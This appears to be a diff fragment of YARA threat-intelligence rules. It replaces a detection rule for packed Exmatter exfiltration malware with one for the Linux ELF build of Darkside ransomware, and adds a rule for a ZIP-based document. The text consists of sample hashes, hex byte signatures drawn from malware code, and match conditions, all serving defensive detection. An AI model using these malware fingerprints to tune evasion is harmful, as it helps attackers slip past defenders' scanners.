+		hash4 = "938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52"
 		tlp = "White"
+		level = "experimental"
 		adversary = "-"
 
 	strings:
-		$s1 = { 6a 16 58 0f be c8 88 85 b0 fe ff ff c7 85 d8 fe ff ff 42 73 7a 73 c7 85 dc fe ff ff 71 64 77 7b c7 85 e0 fe ff ff 38 73 6e 73 c6 85 e4 fe ff ff 00 e8 aa 73 ff ff 89 85 94 }
-		$s2 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s" ascii
-		$s3 = { b8 c9 11 47 00 e8 c3 c5 01 00 68 f8 d7 47 00 33 db 53 53 ff 15 cc 20 47 00 53 50 89 85 d0 fc ff ff ff 15 d0 20 47 00 85 c0 0f 85 92 02 00 00 6a 01 ff 15 8c 22 47 00 84 c0 79 f4 53 e8 e2 aa 00 00 50 e8 1e 98 00 00 8b 35 84 22 47 00 8d 85 ec fe ff ff 59 59 50 53 53 6a 1c 53 ff d6 8d 8d ec fe ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 ec fe ff ff 51 50 b9 f0 5b 48 00 e8 bf 0e 00 00 8d 85 e8 fd ff ff 50 68 04 01 00 00 ff 15 40 20 47 00 8d 8d e8 fd ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e8 fd ff ff 51 50 b9 08 5c 48 00 e8 89 0e 00 00 8d 85 e4 fc ff ff 50 53 53 6a 1a 53 ff d6 8d 8d e4 fc ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e4 fc ff ff 51 50 b9 90 5b 48 00 e8 57 0e 00 00 8b fb 89 9d dc fc ff ff 8b f3 89 bd d4 fc ff ff 89 b5 d8 fc ff ff 83 65 fc 00 33 c9 6a 16 5a 41 e8 71 05 ff ff 8b cf 89 85 e0 fc }
-		$s4 = { 6a 01 ff 15 98 22 47 00 85 c0 74 5d 6a 00 ff 15 a0 22 47 00 85 c0 74 51 56 6a 01 ff 15 94 22 47 00 8b f0 85 f6 74 3b 56 ff 15 38 21 47 00 8b d0 85 d2 74 27 8b ca 57 8d 79 01 8a 01 41 84 c0 75 f9 2b cf 6a 03 51 8b 0d 6c 72 48 00 52 ba 58 d7 47 00 e8 95 1b fe ff 83 c4 0c 5f 56 ff 15 64 21 47 00 }
-		$s5 = { 81 ec 14 02 00 00 a1 0c 50 48 00 33 c5 89 45 fc 53 56 8b d9 be 19 27 00 00 57 8b 7d 0c 83 fb ff 75 0c e8 bb eb ff ff 89 37 89 47 04 eb 17 ff 75 08 52 53 ff 15 bc 22 47 00 85 c0 8b cf 0f 95 c2 e8 b8 fe ff ff e8 98 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 75 08 81 3f 34 27 00 00 74 20 e8 80 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 0f 85 b9 00 00 00 81 3f 33 27 00 00 0f 85 ad 00 00 00 83 fb ff 75 0c e8 5b eb ff ff 89 37 e9 99 00 00 00 33 c0 89 9d f8 fd ff ff 40 89 9d fc fe ff ff 89 85 f4 fd ff ff 89 85 f8 fe ff ff 8d 85 f8 fe ff ff 6a 00 50 8d 85 f4 fd ff ff 50 6a 00 8d 43 01 50 ff 15 d8 22 47 00 8b f0 8b cf 85 f6 0f 98 c2 e8 2a fe ff ff 85 f6 78 53 83 a5 f0 fd ff ff 00 8d 85 ec fd ff ff 50 8d 85 f0 fd ff ff c7 85 ec fd ff ff 04 00 00 00 50 68 07 10 00 00 68 ff ff 00 00 53 ff 15 b0 22 47 00 8b f0 8b cf 85 f6 0f 95 c2 e8 e8 fd ff }
+		$x1 = { 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 55 54 09 00 03 [3] 61 [3] 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ?? 94 ?? 4e c2 [3] ef 4d 7c 87 }
+		$x2 = { 77 6d 66 55 54 09 00 03 00 a6 ce 12 00 a6 ce 12 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 bb 7e f6 d8 2c 06 38 48 00 93 85 e1 8c 0c 9c 0c 0c cc 52 60 1e 2b 98 64 01 62 66 46 0e 30 8f 9b 09 26 ce 03 66 31 83 55 00 00 50 4b 03 04 ?? 00 00 00 ?? 00 [10] 00 00 [2] 00 00 ?? 00 1c 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 4 of ($s*)
+		uint16(0)==0x4B50 and filesize >5KB and all of ($x*)
 }
-rule ARKBIRD_SOLG_EXF_Exmatter_Nov_2021_1 : FILE
+rule ARKBIRD_SOLG_RAN_ELF_Darkside_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Detect packed Exmatter with Confuser"
+		description = "Detect the ELF version of Darkside ransomware"
 		author = "Arkbird_SOLG"
-		id = "ddae7776-3202-50e6-b8af-0e5d15373386"
-		date = "2021-11-01"
-		modified = "2021-11-01"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Exmatter/EXF_Exmatter_Nov_2021_1.yara#L1-L22"
+		id = "10c0ba57-d6d6-5d1d-bd2a-f6f240d71f8b"
+		date = "2021-05-01"
+		modified = "2021-05-02"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1388301138437578757"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-01/Darkside/RAN_ELF_Darkside_Apr_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "67aaac3db488a9e28897047a7498b7a447ec63cdb6da82cb3d4217c7d615f176"
-		score = 50
+		logic_hash = "510932893e1e81d6c88e86c7ae2345460b397c936336c7e1a33799dbc1dd6aab"
+		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "b6bc126526e27c98a94aab16989864161db1b3a75f18bd5c72bacbdfccad7bd7"
-		hash2 = "8eded48c166f50be5ac33be4b010b09f911ffc155a3ab76821e4febd369d17ef"
-		hash3 = "325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1"
-		level = "Experimental"
-		tlp = "white"
-		adversary = "RaaS"
+		hash1 = "984ce69083f2865ce90b48569291982e786980aeef83345953276adfcbbeece8"
+		hash2 = "9cc3c217e3790f3247a0c0d3d18d6917701571a8526159e942d0fffb848acffb"
+		hash3 = "c93e6237abf041bc2530ccb510dd016ef1cc6847d43bf023351dce2a96fdc33b"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$s1 = { 45 38 42 44 32 35 45 33 46 35 33 34 39 39 41 43 31 39 42 44 42 34 31 45 37 36 45 38 36 38 39 37 38 39 31 31 42 43 35 41 44 46 37 36 34 33 31 38 33 45 34 38 36 33 38 32 42 44 33 42 42 44 30 30 00 35 41 41 34 30 37 35 37 33 42 34 43 36 45 43 43 41 45 35 36 44 30 46 35 43 34 33 35 34 36 32 33 39 38 43 30 41 46 42 35 33 46 36 44 36 32 33 31 44 38 39 34 44 34 44 31 41 37 46 44 36 45 30 30 00 42 33 39 46 43 34 39 41 36 31 35 36 45 37 31 35 45 38 42 39 37 41 35 30 46 44 34 35 46 45 34 36 38 37 30 37 38 44 42 44 31 45 45 43 46 46 44 39 46 38 35 31 34 30 42 35 33 31 36 45 39 32 31 30 00 44 33 30 39 45 32 43 32 30 31 43 37 35 43 43 30 38 43 35 33 36 42 41 34 30 32 31 45 41 35 37 43 45 42 34 44 30 34 34 39 32 36 30 31 36 46 46 39 39 46 45 44 45 36 31 35 34 36 31 30 41 32 31 30 00 36 43 37 35 38 36 33 43 32 46 39 38 44 37 46 41 45 33 36 45 37 44 46 43 45 38 46 31 39 45 43 39 35 41 46 30 30 43 43 42 33 44 43 39 39 39 31 38 46 42 38 43 30 42 35 38 39 42 30 42 34 35 31 30 }
-		$s2 = { 33 44 33 32 31 41 45 42 34 33 39 35 36 30 34 38 46 35 43 37 35 41 38 42 38 36 36 35 32 34 33 34 44 31 33 31 30 31 31 32 45 37 44 36 42 37 38 46 42 37 35 44 39 33 35 36 31 44 31 31 30 39 38 31 00 34 39 44 38 32 36 38 33 30 42 35 44 39 32 30 34 34 38 46 37 34 42 42 42 45 44 42 33 36 31 46 31 37 43 39 44 44 34 36 31 45 30 44 43 33 44 45 44 31 31 34 45 36 45 31 33 45 30 31 37 33 39 38 31 00 31 45 42 30 38 30 36 38 33 30 39 37 41 32 37 46 42 37 34 33 46 36 32 44 30 38 33 38 44 34 42 41 36 34 33 35 46 44 43 33 38 38 32 41 36 41 36 37 45 46 42 43 32 32 34 45 37 31 42 44 42 43 38 31 00 46 39 45 39 31 44 44 39 44 32 36 32 38 43 43 32 39 32 42 41 43 32 36 35 39 41 35 35 34 34 42 38 42 46 42 30 41 44 31 46 38 31 30 30 43 37 35 45 38 32 44 44 33 42 32 43 45 44 30 35 43 37 39 31 00 45 44 44 31 45 32 34 31 37 36 33 46 34 33 33 35 30 38 37 42 39 38 41 44 30 37 35 38 44 36 39 33 31 39 32 42 37 37 45 44 37 32 41 39 36 43 38 42 33 35 41 45 31 39 34 41 45 38 45 39 31 41 39 31 00 38 43 46 31 34 42 43 33 42 46 39 44 36 31 30 30 43 41 38 41 }
-		$s3 = "SSH_MSG_NEWKEYS" ascii
-		$s4 = { 35 45 46 32 31 35 39 31 38 33 32 30 41 44 38 41 46 41 41 30 32 35 33 35 35 34 36 46 34 34 33 43 38 44 30 39 46 30 41 44 35 31 33 37 45 35 32 30 33 34 32 38 38 43 37 36 39 41 43 36 42 41 44 46 00 44 36 32 45 45 38 34 39 37 41 45 34 39 35 41 33 31 31 34 35 41 37 37 41 35 43 39 44 35 35 37 30 34 43 30 38 38 33 42 30 31 35 46 45 31 41 45 39 46 44 46 46 45 32 30 38 46 31 33 46 41 45 44 46 00 31 35 32 30 33 33 46 38 33 46 37 46 41 36 36 34 35 31 39 33 42 33 32 32 43 43 42 31 36 37 32 46 30 38 39 35 36 42 36 38 43 33 38 44 31 33 32 46 32 32 37 38 46 43 46 30 46 41 30 34 44 46 45 46 00 33 41 33 36 41 46 34 41 46 30 41 31 46 45 35 37 39 35 44 42 39 39 46 41 38 44 33 39 34 46 41 32 44 38 39 30 41 32 32 35 32 38 30 41 38 41 31 35 39 41 43 37 39 46 31 45 34 38 45 45 31 38 46 46 00 44 43 37 42 45 38 33 42 33 45 46 46 38 31 45 38 43 39 45 30 36 46 37 44 37 43 31 46 34 42 44 37 33 34 46 32 30 32 30 41 34 32 34 32 39 45 32 32 41 32 36 31 42 30 45 45 45 31 36 44 31 39 46 46 }
-		$s5 = { 39 38 41 43 30 38 30 44 38 38 37 45 31 34 43 43 39 32 32 44 34 35 37 43 33 42 31 30 35 35 37 31 45 33 36 41 37 35 43 43 39 31 31 42 33 35 46 36 30 43 32 46 35 30 36 44 44 44 45 43 35 43 41 46 00 31 33 46 33 37 31 33 43 30 38 42 33 30 43 45 34 37 36 35 37 33 45 43 31 38 32 39 30 31 32 35 30 45 39 36 42 34 37 37 35 33 31 39 46 34 36 41 38 41 30 30 41 34 46 31 45 42 38 41 43 35 32 42 46 00 43 39 38 39 33 42 41 33 46 43 31 46 41 39 41 37 43 38 37 33 42 32 37 38 37 41 41 41 44 38 38 39 45 33 38 46 30 43 33 39 36 39 45 37 41 32 37 42 30 44 33 37 45 30 41 }
-		$s6 = "SSH_MSG_KEX_DH_GEX_INIT" ascii
+		$seq1 = { 48 8d 3d d1 e8 3b 00 e8 9c 51 f2 ff 85 c0 74 c6 4c 8d 6c 24 10 4c 89 ef e8 ab bf 02 00 48 8d 1d 34 bb 37 00 49 8d 75 08 48 8d 3d 31 e1 3b 00 48 8d 43 10 48 89 05 1e e1 3b 00 e8 09 1e 02 00 48 8d 05 22 d8 0e 00 48 8b 7c 24 18 c7 05 4b e1 3b 00 01 00 00 00 48 89 05 1c e1 3b 00 48 8d 05 4d d8 0e 00 48 85 ff 48 89 05 13 e1 3b 00 48 8d 05 84 d8 0e 00 48 89 05 0d e1 3b 00 48 8d 05 be d8 0e 00 48 89 05 07 e1 3b 00 48 8d 05 48 d9 0e 00 48 89 05 01 e1 3b 00 48 8d 43 10 48 89 44 24 10 74 05 e8 21 45 f2 ff 4c 8d ac 24 30 03 00 00 4c 89 ef e8 11 bf 02 00 4c 8d b4 24 10 03 00 00 ba 03 00 00 00 4c 89 ee 4c 89 f7 e8 39 62 ff ff 48 8b bc 24 38 03 00 00 48 8d 43 10 48 89 84 24 30 03 00 00 48 85 ff 74 05 e8 db 44 f2 ff 4c 8d 6c 24 30 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 06 62 ff ff 48 8b bc 24 18 03 00 00 48 8d 43 10 48 89 84 24 10 03 00 00 48 85 ff 74 05 e8 a8 44 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 81 e0 3b 00 48 89 05 72 e0 3b 00 e8 0d 1d 02 00 48 8d 05 26 d7 0e 00 48 8b 7c 24 38 c7 05 9f e0 3b 00 01 00 00 00 48 89 05 70 e0 3b 00 48 8d 05 51 d7 0e 00 48 85 ff 48 89 05 67 e0 3b 00 48 8d 05 88 d7 0e 00 48 89 05 61 e0 3b 00 48 8d 05 c2 d7 0e 00 48 89 05 5b e0 3b 00 48 8d 05 4c d8 0e 00 48 89 05 55 e0 3b 00 48 8d 43 10 48 89 44 24 30 74 05 e8 25 44 f2 ff 4c 8d b4 24 50 03 00 00 4c 89 f7 e8 05 c5 02 00 4c 8d 6c 24 50 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 40 61 ff ff 48 8b bc 24 58 03 00 00 48 8d 43 10 48 89 84 24 50 03 00 00 48 85 ff 74 05 e8 e2 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 0b e0 3b 00 48 89 05 fc df 3b 00 e8 47 1c 02 00 48 8d 05 18 d8 0e 00 48 8b 7c 24 58 c7 05 29 e0 3b 00 01 00 00 00 48 89 05 fa df 3b 00 48 8d 05 33 d8 0e 00 48 85 ff 48 89 05 f1 df 3b 00 48 8d 05 5a d8 0e 00 48 89 05 eb df 3b 00 48 8d 05 84 d8 0e 00 48 89 05 e5 df 3b 00 48 8d 05 de d8 0e 00 48 89 05 df df 3b 00 48 8d 43 10 48 89 44 24 50 74 05 e8 5f 43 f2 ff 4c 8d b4 24 70 03 00 00 4c 89 f7 e8 3f c4 02 00 4c 8d 6c 24 70 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 7a 60 ff ff 48 8b bc 24 78 03 00 00 48 8d 43 10 48 89 84 24 70 03 00 00 48 85 ff 74 05 e8 1c 43 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 95 df 3b 00 48 89 05 86 df 3b 00 e8 81 1b 02 00 48 8d 05 9a d8 0e 00 48 8b 7c 24 78 c7 05 b3 df 3b 00 01 00 00 00 48 89 05 84 df 3b 00 48 8d 05 c5 d8 0e 00 48 85 ff 48 89 05 7b df 3b 00 48 8d 05 fc d8 0e 00 48 89 05 75 df 3b 00 48 8d 05 36 d9 0e 00 48 89 05 6f df 3b 00 48 8d 05 b0 d9 0e 00 48 89 05 69 df 3b 00 48 8d 43 10 48 89 44 24 70 74 05 e8 99 42 f2 ff 4c 8d ac 24 90 03 00 00 4c 89 ef e8 19 be 02 00 4c 8d b4 24 b0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 b1 5f ff ff 4c 8d ac 24 90 00 00 00 ba 01 00 00 00 4c 89 f6 4c 89 ef e8 99 5f ff ff 48 8b bc 24 b8 03 00 00 48 8d 43 10 48 89 84 24 b0 03 00 00 48 85 ff 74 05 e8 3b 42 f2 ff 48 8b bc 24 98 03 00 00 48 8d 43 10 48 89 84 24 90 03 00 00 48 85 ff 74 05 e8 1d 42 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d e6 de 3b 00 48 89 05 d7 de 3b 00 e8 82 1a 02 00 48 8d 05 43 d9 0e 00 48 8b bc 24 98 00 00 00 c7 05 01 df 3b 00 01 00 00 00 48 89 05 d2 de 3b 00 48 8d 05 53 d9 0e 00 48 85 ff 48 89 05 c9 de 3b 00 48 8d 05 72 d9 0e 00 48 89 05 c3 de 3b 00 48 8d 05 94 d9 0e 00 48 89 05 bd de 3b 00 48 8d 05 de d9 0e 00 48 89 05 b7 de 3b 00 48 8d 43 10 48 89 84 24 90 00 00 00 74 05 e8 94 41 f2 ff 4c 8d ac 24 d0 03 00 00 4c 89 ef e8 14 bd 02 00 4c 8d b4 24 f0 03 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 ac 5e ff ff 4c 8d ac 24 b0 00 00 00 ba 03 00 00 00 4c 89 f6 4c 89 ef e8 94 5e ff ff 48 8b bc 24 f8 03 00 00 48 8d 43 10 48 89 84 24 f0 03 00 00 48 85 ff 74 05 e8 36 41 f2 ff 48 8b bc 24 d8 03 00 00 48 8d 43 10 48 89 84 24 d0 03 00 00 48 85 ff 74 05 e8 18 41 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 31 de 3b 00 48 89 05 22 de 3b 00 e8 7d 19 02 00 48 8d 05 56 d9 0e 00 48 8b bc 24 b8 00 00 00 c7 05 4c de 3b 00 01 00 00 00 48 89 05 1d de 3b 00 48 8d 05 6e d9 0e 00 48 85 ff 48 89 05 14 de 3b 00 48 8d 05 95 d9 0e 00 48 89 05 0e de 3b 00 48 8d 05 bf d9 0e 00 48 89 05 08 de 3b 00 48 8d 05 19 da 0e 00 48 89 05 02 de 3b 00 48 8d 43 10 48 89 84 24 b0 00 00 00 74 05 e8 8f 40 f2 ff 4c 8d ac 24 10 04 00 00 4c 89 ef e8 0f bc 02 00 4c 8d b4 24 30 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a7 5d ff ff 4c 8d ac 24 d0 00 00 00 ba 05 00 00 00 4c 89 f6 4c 89 ef e8 8f 5d ff ff 48 8b bc 24 38 04 00 00 48 8d 43 10 48 89 84 24 30 04 00 00 48 85 ff 74 05 e8 31 40 f2 ff 48 8b bc 24 18 04 00 00 48 8d 43 10 48 89 84 24 10 04 00 00 48 85 ff 74 05 e8 13 40 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 7c dd 3b 00 48 89 05 6d dd 3b 00 e8 78 18 02 00 48 8d 05 99 d9 0e 00 48 8b bc 24 d8 00 00 00 c7 05 97 dd 3b 00 01 00 00 00 48 89 05 68 dd 3b 00 48 8d 05 b9 d9 0e 00 48 85 ff 48 89 05 5f dd 3b 00 48 8d 05 e8 d9 0e 00 48 89 05 59 dd 3b 00 48 8d 05 1a da 0e 00 48 89 05 53 dd 3b 00 48 8d 05 84 da 0e 00 48 89 05 4d dd 3b 00 48 8d 43 10 48 89 84 24 d0 00 00 00 74 05 e8 8a 3f f2 ff 4c 8d ac 24 50 04 00 00 4c 89 ef e8 0a bb 02 00 4c 8d b4 24 70 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a2 5c ff ff 4c 8d ac 24 f0 00 00 00 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 8a 5c ff ff 48 8b bc 24 78 04 00 00 48 8d 43 10 48 89 84 24 70 04 00 00 48 85 ff 74 05 e8 2c 3f f2 ff 48 8b bc 24 58 04 00 00 48 8d 43 10 48 89 84 24 50 04 00 00 48 85 ff 74 05 e8 0e 3f f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d c7 dc 3b 00 48 89 05 b8 dc 3b 00 e8 73 17 02 00 48 8d 05 0c da 0e 00 48 8b bc 24 f8 00 00 00 c7 05 e2 dc 3b 00 01 00 00 00 48 89 05 b3 dc 3b 00 48 8d 05 34 da 0e 00 48 85 ff 48 89 05 aa dc 3b 00 48 8d 05 6b da 0e 00 48 89 05 a4 dc 3b 00 48 8d 05 a5 da 0e 00 48 89 05 9e dc 3b 00 48 8d 05 1f db 0e 00 48 89 05 98 dc 3b 00 48 8d 43 10 48 89 84 24 f0 00 00 00 74 05 e8 85 3e f2 ff 4c 8d ac 24 90 04 00 00 4c 89 ef e8 05 ba 02 00 4c 8d b4 24 b0 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 9d 5b ff ff 4c 8d ac 24 10 01 00 00 ba 09 00 00 00 4c 89 f6 4c 89 ef e8 85 5b ff ff 48 8b bc 24 b8 04 00 00 48 8d 43 10 48 89 84 24 b0 04 00 00 48 85 ff 74 05 e8 27 3e f2 ff 48 8b bc 24 98 04 00 00 48 8d 43 10 48 89 84 24 90 04 00 00 48 85 ff 74 05 e8 09 3e f2 ff 48 8d 43 10 49 8d }
+		$seq2 = { 41 56 49 89 fe 41 55 41 89 cd 41 54 45 8d 60 01 55 53 44 89 c3 48 81 ec 98 06 00 00 41 39 cc 89 74 24 10 48 89 54 24 30 0f 84 ab 09 00 00 48 8d 84 24 80 00 00 00 41 8d 70 ff 48 8d ac 24 10 01 00 00 48 89 c7 48 89 44 24 48 e8 0f 89 f6 ff be 01 00 00 00 48 89 ef e8 02 51 f6 ff 4c 8d a4 24 e0 00 00 00 89 de 4c 89 e7 e8 f0 88 f6 ff 48 8d 84 24 b0 00 00 00 48 89 ea 4c 89 e6 48 89 c7 48 89 44 24 20 e8 55 8d f6 ff 48 8d 1d 4e a2 2f 00 49 8d 7c 24 08 4c 8d 7b 10 4c 89 bc 24 e0 00 00 00 e8 48 eb ea ff 48 8d 7d 08 4c 89 bc 24 10 01 00 00 e8 37 eb ea ff 48 8d 84 24 40 01 00 00 41 8d 75 ff 48 89 c7 48 89 44 24 38 e8 8e 88 f6 ff 48 8d 84 24 d0 01 00 00 be 01 00 00 00 48 89 c7 49 89 c7 48 89 44 24 50 e8 71 50 f6 ff 48 8d ac 24 a0 01 00 00 44 89 ee 48 89 ef e8 5e 88 f6 ff 48 8d 84 24 70 01 00 00 4c 89 fa 48 89 ee 48 89 c7 48 89 44 24 40 e8 c3 8c f6 ff 4c 8d 63 10 48 8d 7d 08 48 8d ac 24 00 02 00 00 4c 89 a4 24 a0 01 00 00 e8 b6 ea ea ff 4c 89 ff 4c 89 a4 24 d0 01 00 00 4c 8d a4 24 30 02 00 00 48 83 c7 08 e8 9a ea ea ff 4c 63 7c 24 10 49 8d 46 30 48 89 44 24 18 0f 1f 40 00 e8 b3 7c f6 ff 49 89 c5 e8 ab 75 f6 ff 4c 89 2c 24 4c 8b 6c 24 18 49 89 c1 48 8b 4c 24 20 48 8b 54 24 48 41 b8 01 00 00 00 48 8b 74 24 30 4c 89 ef e8 32 f9 f6 ff 4c 89 fe 48 89 ef e8 b7 4f f6 ff 4c 89 ea 48 89 ee 4c 89 e7 e8 09 d9 f6 ff 48 8b 4c 24 40 48 8b 54 24 38 4d 89 e1 48 8b 74 24 30 4c 89 2c 24 41 b8 01 00 00 00 4c 89 f7 e8 f5 f8 f6 ff 48 8b 94 24 50 02 00 00 48 8b 8c 24 40 02 00 00 41 89 c5 48 39 8c 24 48 02 00 00 48 8d 43 10 48 0f 46 8c 24 48 02 00 00 48 85 d2 48 89 84 24 30 02 00 00 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 40 4f f7 ff 48 8b 94 24 20 02 00 00 48 8b 8c 24 10 02 00 00 48 8d 43 10 48 39 8c 24 18 02 00 00 48 0f 46 8c 24 18 02 00 00 48 89 84 24 00 02 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 fe 4e f7 ff 45 84 ed 0f 84 fd fe ff ff 83 7c 24 10 01 0f 84 bc 04 00 00 48 8d 84 24 e0 03 00 00 4c 8d ac 24 c0 05 00 00 48 89 44 24 10 48 8d 84 24 10 04 00 00 48 89 44 24 08 49 8d 45 08 }
+		$seq3 = { 4c 8d bc 24 00 05 00 00 be 01 00 00 00 4c 89 ff e8 9b 4e f6 ff 4c 8d a4 24 30 05 00 00 4c 89 fa 4c 89 f6 4c 89 e7 e8 05 88 f6 ff 48 8d ac 24 60 05 00 00 48 8b 54 24 18 4c 89 e6 48 89 ef e8 5d d3 f6 ff 48 8d 84 24 90 05 00 00 4c 89 f1 4c 89 ea 48 89 ee 48 89 c7 48 89 44 24 28 e8 ef b9 ff ff 48 8b 74 24 28 49 8d 7e 60 e8 01 59 f6 ff 48 8b 94 24 b0 05 00 00 48 8b 8c 24 a0 05 00 00 48 8d 43 10 48 39 8c 24 a8 05 00 00 48 0f 46 8c 24 a8 05 00 00 48 89 84 24 90 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 ff 4d f7 ff 48 8b 94 24 80 05 00 00 48 8b 8c 24 70 05 00 00 48 8d 43 10 48 39 8c 24 78 05 00 00 48 0f 46 8c 24 78 05 00 00 48 89 84 24 60 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 bd 4d f7 ff 48 8b 94 24 50 05 00 00 48 8b 8c 24 40 05 00 00 48 8d 43 10 48 39 8c 24 48 05 00 00 48 0f 46 8c 24 48 05 00 00 48 89 84 24 30 05 00 00 }
+		$seq4 = { 49 89 ff 41 56 49 89 f6 41 55 41 54 55 53 49 8d 9e c8 01 00 00 48 81 ec f8 05 00 00 48 8d bc 24 d0 00 00 00 e8 e5 52 00 00 48 8d bc 24 00 01 00 00 be 06 0e 5d 00 e8 33 99 ff ff 48 8d b4 24 00 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 bb eb ff ff 48 8b 84 24 00 01 00 00 48 8d b4 24 60 04 00 00 49 8d 9e c0 01 00 00 48 8d 78 e8 e8 9b 10 fd ff 48 8d bc 24 20 01 00 00 be 79 e3 5b 00 e8 e9 98 ff ff 48 8d b4 24 20 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 71 eb ff ff 48 8b 84 24 20 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 58 10 fd ff 48 8d 7c 24 20 4c 89 f6 e8 6b 9d ff ff 48 8d bc 24 40 01 00 00 be 14 e4 5b 00 e8 99 98 ff ff 48 8d 54 24 20 48 8d b4 24 40 01 00 00 48 8d bc 24 d0 00 00 00 e8 1f eb ff ff 48 8b 84 24 40 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 06 10 fd ff 48 8b 44 24 20 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 f0 0f fd ff 48 8d bc 24 60 01 00 00 be 1d e4 5b 00 e8 3e 98 ff ff 48 8d bc 24 c0 00 00 00 e8 41 22 fd ff 48 8d b4 24 c0 00 00 00 48 8d bc 24 60 04 00 00 e8 cc 0f fd ff 48 8d 8c 24 60 04 00 00 48 8d b4 24 60 01 00 00 48 8d bc 24 d0 00 00 00 ba 3f 26 5e 00 e8 fa ce 00 00 48 8d bc 24 60 04 00 00 e8 7d 19 fd ff 48 8d bc 24 c0 00 00 00 e8 70 19 fd ff 48 8b 84 24 60 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 67 0f fd ff 48 8d bc 24 80 01 00 00 be 90 e4 5b 00 e8 b5 97 ff ff 48 8d b4 24 80 01 00 00 48 8d bc 24 d0 00 00 00 ba 48 38 8a 00 e8 3b ea ff ff 48 8b 84 24 80 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 22 0f fd ff 48 8d 94 24 20 04 00 00 48 8d b4 24 00 04 00 00 4c 89 f7 48 c7 84 24 00 04 00 00 78 24 8a 00 48 c7 84 24 20 04 00 00 78 24 8a 00 e8 f2 9c ff ff 48 8d bc 24 a0 01 00 00 be 24 e4 5b 00 e8 40 97 ff ff 48 8d 94 24 00 04 00 00 48 8d b4 24 a0 01 00 00 48 8d bc 24 d0 00 00 00 e8 c3 e9 ff ff 48 8b 84 24 a0 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 aa 0e fd ff 48 8d bc 24 c0 01 00 00 be 2d e4 5b 00 e8 f8 96 ff ff 48 8d 94 24 20 04 00 00 48 8d b4 24 c0 01 00 00 48 8d bc 24 d0 00 00 00 e8 7b e9 ff ff 48 8b 84 24 c0 01 00 00 48 8d b4 24 60 04 00 00 48 8d ac 24 e0 03 00 00 48 8d 78 e8 e8 5a 0e fd ff c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 e2 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 }
+		$seq5 = { e8 bb e4 fd ff 48 8d bc 24 40 04 00 00 48 89 84 24 e0 01 00 00 e8 b6 e9 05 00 48 89 c3 48 89 84 24 e8 01 00 00 e8 96 1d fd ff 8b 40 08 48 83 c3 08 be 33 e4 5b 00 48 89 df 89 84 24 f0 01 00 00 e8 7b e9 fd ff 48 8b b4 24 00 04 00 00 48 89 df 48 8b 56 e8 e8 67 e6 fd ff 48 8d bc 24 e0 01 00 00 e8 5a d9 fd ff 48 83 bc 24 40 04 00 00 00 75 8f c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 37 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 00 48 89 c6 }
